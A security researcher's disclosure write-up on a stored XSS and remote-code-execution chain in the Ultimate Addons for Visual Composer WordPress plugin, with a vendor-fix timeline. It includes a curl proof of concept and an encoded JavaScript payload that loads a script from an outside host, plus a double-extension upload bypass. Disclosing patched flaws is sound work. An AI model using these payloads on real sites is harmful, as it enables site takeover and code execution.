After looking at Visual Composer and LayerSlider on CodeCanyon.net, the next item in the popular section is the Ultimate Addons for Visual Composer developed by BrainstormForce.

I started looking for the low hanging fruits like $_GET, $_POST, $_COOKIE, admin_init, wp_ajax, etc, and the search for wp_ajax did return a few promising hits.

add_action( 'wp_ajax_update_ultimate_options', array($this,'update_settings'));  
add_action( 'wp_ajax_update_ultimate_debug_options', array($this,'update_debug_settings'));  
            add_action( 'wp_ajax_update_ultimate_modules', array($this,'update_modules'));
            add_action( 'wp_ajax_update_css_options', array($this,'update_css_options'));
            add_action( 'wp_ajax_update_dev_notes', array($this,'update_dev_notes'));
[...]
//font file extract by ajax function
            add_action( 'wp_ajax_smile_ajax_add_zipped_font', array( $this, 'add_zipped_font' ) );

The update_* ones seemed promising, for a stored XSS or maybe local file include, so I had a closer look.

add_action( 'wp_ajax_update_ultimate_options', array($this,'update_settings'));  
[...]
function update_settings(){

if(isset($_POST['ultimate_smooth_scroll'])){  
    $ultimate_smooth_scroll = $_POST['ultimate_smooth_scroll'];
} else {
    $ultimate_smooth_scroll = 'disable';
}
$result1 = update_option('ultimate_smooth_scroll',$ultimate_smooth_scroll);

if(isset($_POST['ultimate_smooth_scroll_options'])){  
    $ultimate_smooth_scroll_options = $_POST['ultimate_smooth_scroll_options'];
} else {
    $ultimate_smooth_scroll_options = '';
}
$result2 = update_option('ultimate_smooth_scroll_options',$ultimate_smooth_scroll_options);

if($result1 || $result2){  
    echo 'success';
} else {
    echo 'failed';
}
die();  

The update_settings function which is hooked to the update_ultimate_options ajax call, does not check user capability, and it does not use a nonce check. This means, that any authenticated user (subscriber, customer, editor, etc) can call this function.

We can update the ultimate_smooth_scroll_options key to almost any value, as there is no escaping or filtering applied to the $_POST['ultimate_smooth_scroll_options'] value.

Looking where the ultimate_smooth_scroll_options is used, we find that it is used in the ultimate_init_vars function which gets executed on wp_head hook in the wp-content/plugins/Ultimate_VC_Addons/Ultimate_VC_Addons.php file.

90:add_action( 'wp_head', array( $this, 'ultimate_init_vars' ) );  
function ultimate_init_vars() {  
    $ultimate_smooth_scroll_compatible = get_option('ultimate_smooth_scroll_compatible');
    if($ultimate_smooth_scroll_compatible === 'enable')
        return false;

    $ultimate_smooth_scroll = get_option('ultimate_smooth_scroll');
    if($ultimate_smooth_scroll !== 'enable')
        return false;

    $ultimate_smooth_scroll_options = get_option('ultimate_smooth_scroll_options');
    $step = (isset($ultimate_smooth_scroll_options['step']) && $ultimate_smooth_scroll_options['step'] != '') ? $ultimate_smooth_scroll_options['step'] : 80;
    $speed = (isset($ultimate_smooth_scroll_options['speed']) && $ultimate_smooth_scroll_options['speed'] != '') ? $ultimate_smooth_scroll_options['speed'] : 480;
    echo "<script type='text/javascript'>
        jQuery(document).ready(function($) {
        var ult_smooth_speed = ".$speed.";
        var ult_smooth_step = ".$step.";
        $('html').attr('data-ult_smooth_speed',ult_smooth_speed).attr('data-ult_smooth_step',ult_smooth_step);
        });
    </script>";
}

We got lucky here, because it uses the $speed and $step variable directly in a script tag, we do not have to escape any quotes because there are none. By default, WP uses magic_quotes for compatibility reasons, so we can inject JS, but we can't use quotes like " or ' but that is ok.

Stored XSS

All right, so we got a stored XSS in the Ultimate Addons for Visual Composer. A basic POC would be something like this

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' [AUTH_COOKIES] --data "action=update_ultimate_options&ultimate_smooth_scroll=enable&ultimate_smooth_scroll_options[speed]=11&ultimate_smooth_scroll_options[step]=11; eval(String.fromCharCode(1,2,3,4))"

The injected value will be 11; eval(String.fromCharCode(1,2,3,4)) this will produce the following code snippet

 var ult_smooth_speed = 11;
        var ult_smooth_step = 11; eval(String.fromCharCode(1,2,3,4));
        $('html').attr('data-ult_smooth_speed',ult_smooth_speed).attr('data-ult_smooth_step',ult_smooth_step);

This is a valid JS expression, so we have a stored XSS. The eval(String.fromCharCode(1,2,3)) is used to bypass the limitation imposed by magic_quotes/add_slashes, namely that we can not use quotes;

The HTML POC uses the following payload:

118,97,114,32,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,10,115,46,115,114,99,32,61,32,39,104,116,116,112,115,58,47,47,99,100,110,46,119,112,104,117,116,116,101,46,99,111,109,47,85,116,105,108,115,47,97,108,101,114,116,46,106,115,39,59,10,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59  

Which translates to:

var s = document.createElement('script');  
s.src = 'https://cdn.wphutte.com/Utils/alert.js';  
document.head.appendChild(s);  

The wp_head hook, gets executed on every page load, so the XSS can be triggered on any page, which is nice.

But there is more.

RCE a.k.a Remote Code Execution

Now that we can inject and execute any JavaScript our possibilities opened up. Looking back at the AJAX hooks, one seems pretty interesting: wp_ajax_smile_ajax_add_zipped_font this will execute the add_zipped_font function located at line 279 in the /wp-content/plugins/Ultimate_VC_Addons/modules/Ultimate_Icon_Manager.php file.

public function add_zipped_font() {  
//check if referer is ok
//if(function_exists('check_ajax_referer')) { check_ajax_referer('smile_nonce_save_backend'); }
//check if capability is ok
$cap = apply_filters( 'avf_file_upload_capability', 'update_plugins' );
if ( ! current_user_can( $cap ) ) {  
    die( __( "Using this feature is reserved for Super Admins. You unfortunately don't have the necessary permissions.", "ultimate_vc" ) );
}
//get the file path of the zip file
$attachment = $_POST['values'];
$path       = realpath( get_attached_file( $attachment['id'] ) );
$unzipped   = $this->zip_flatten( $path, array( '\.eot', '\.svg', '\.ttf', '\.woff', '\.json', '\.css' ) );
// if we were able to unzip the file and save it to our temp folder extract the svg file
if ( $unzipped ) {  
    $this->create_config();
}
//if we got no name for the font don't add it and delete the temp folder
if ( $this->font_name == 'unknown' ) {  
    $this->delete_folder( $this->paths['tempdir'] );
    die( __( 'Was not able to retrieve the Font name from your Uploaded Folder', 'ultimate_vc' ) );
}
die( __( 'smile_font_added:', 'ultimate_vc' ) . $this->font_name );  
}

It checks the user capability, then it gets the path for an attachment and passes it to the zip_flatten along with an extra array, which contain RegExp patters. So it looks like if we upload a ZIP file to the WP Media library, then take its ID, call this Ajax endpoint with the ID, we can extract its content, given that it matches the RegExp.

The bug

Looking at the zip_flatten function, we can find the bug which turns this font extraction into an RCE.

foreach ( $filter as $regex ) {  
    preg_match( "!" . $regex . "!", $entry, $matches );
    if ( ! empty( $matches ) ) {
        $delete = false;
        break;
    }
}

The RegExp just checks the presence of the string anywhere in the file name, it does not use the $ to mach only the end of the string, so a simple double extension will bypass it, because poc.eot.php will match.

As a side note, there is another bug in the create_config -> write_config function as well. It writes the font name, which is derived from an XML tag to a .php file.

Putting it all together. An attacker might plant the XSS himself, or can create a CSRF page, which plants it. A logged in user with Administrator rights executes the injected code resulting in a code execution.

HTML Poc

Ultimate Addons for Visual Composer v3.16.10 XSS POC

Impact 7/10

37.000+ sales on CodeCanyon, but it requires some Admin interaction.

Timeline

16 - 04 - 2017 - Vulnerability discovered.  
16 - 04 - 2017 - Vendor notified.  
04 - 05 - 2017 - Vendor fixed the issue (v3.16.12 "NOTES")  
15 - 05 - 2017 - Vulnerability goes public.